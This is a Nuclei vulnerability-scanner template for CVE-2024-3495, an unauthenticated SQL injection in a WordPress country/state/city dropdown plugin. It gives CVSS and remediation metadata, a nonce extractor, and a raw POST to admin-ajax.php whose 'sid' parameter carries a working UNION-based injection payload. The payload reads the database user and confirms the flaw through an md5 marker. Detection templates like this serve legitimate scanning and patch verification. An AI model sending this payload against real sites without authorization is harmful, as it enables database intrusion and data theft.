id: CVE-2024-3495

info:
  name: Wordpress Country State City Dropdown <=2.7.2 - SQL Injection
  author: apple
  severity: critical
  description: |
    The Country State City Dropdown CF7 plugin for WordPress is vulnerable to SQL Injection via the ‘cnt’ and 'sid' parameters in versions up to, and including, 2.7.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries via the cnt and sid parameters, potentially extracting sensitive information from the database.
  remediation: |
    Update Country State City Dropdown CF7 plugin to a version that patches CVE-2024-3495.
  reference:
    - https://sploitus.com/exploit?id=EDF4B3F8-DDF4-5196-A375-EC81B8BC18F1&utm_source=rss&utm_medium=rss
    - https://github.com/truonghuuphuc/CVE-2024-3495-Poc
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3495
    - https://plugins.trac.wordpress.org/browser/country-state-city-auto-dropdown/trunk/includes/ajax-actions.php#L22
    - https://plugins.trac.wordpress.org/browser/country-state-city-auto-dropdown/trunk/includes/ajax-actions.php#L8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-3495
    cwe-id: CWE-89
    epss-score: 0.93237
    epss-percentile: 0.99809
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/country-state-city-auto-dropdown"
  tags: cve,cve2024,wp,wp-plugin,wordpress,sqli,vuln,vkev

variables:
  num: "999999999"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=tc_csca_get_cities&nonce_ajax={{nonce}}&sid=1+or+0+union+select+concat(0x64617461626173653a,(select%20md5({{num}})),0x7c76657273696f6e3a,(select%20md5({{num}})),0x7c757365723a,user()),2,3--+-

    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(num)}}'

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"nonce":"(\S*)"'
        internal: true
# digest: 490a0046304402205bf1d23025f6acd2eac2fd8ccaf3d8b5e562fe9f5f80aa5ca543af8279d7e64b022047bd49621a0b9ac042b544d534bd51d1397677deb31a8f21349796bc5ca1c58e:922c64590222798bb761d5b6d8e72950